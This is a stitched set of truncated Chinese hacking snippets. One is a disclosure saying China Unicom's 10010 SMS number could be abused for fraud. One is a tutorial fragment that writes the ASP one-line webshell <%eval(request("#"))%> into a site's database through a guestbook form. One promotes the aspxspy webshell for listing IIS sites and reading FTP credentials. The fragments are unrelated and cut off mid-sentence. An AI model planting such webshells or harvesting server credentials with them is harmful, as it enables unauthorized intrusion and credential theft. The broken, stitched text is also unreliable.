披露状态：2012-02-14： 细节已通知厂商并且等待厂商处理中2012-02-19： 厂商已经主动忽略漏洞，细节向公众公开简要描述：任何人都可以用官方10010给联通手机号发送短信，被用来短信诈骗，危害很大详细说明：http://info.10010....

打开网页，点击 “写入信息leaveword.asp”，插入一句话，提交，连接数据库即可。测试<%eval(request("#" :response.end%>数据库地址：database/dat...

比较著名的aspx大马就是bin的aspxspy1.0和2.0， 如果服务器支持.NET，aspxspy有个功能：IIS Spy，可以列出所有网站域名和物理路径。 包括用IIS做FTP的，也能读出所有用户的FTP的用户名和密码，旁注很实...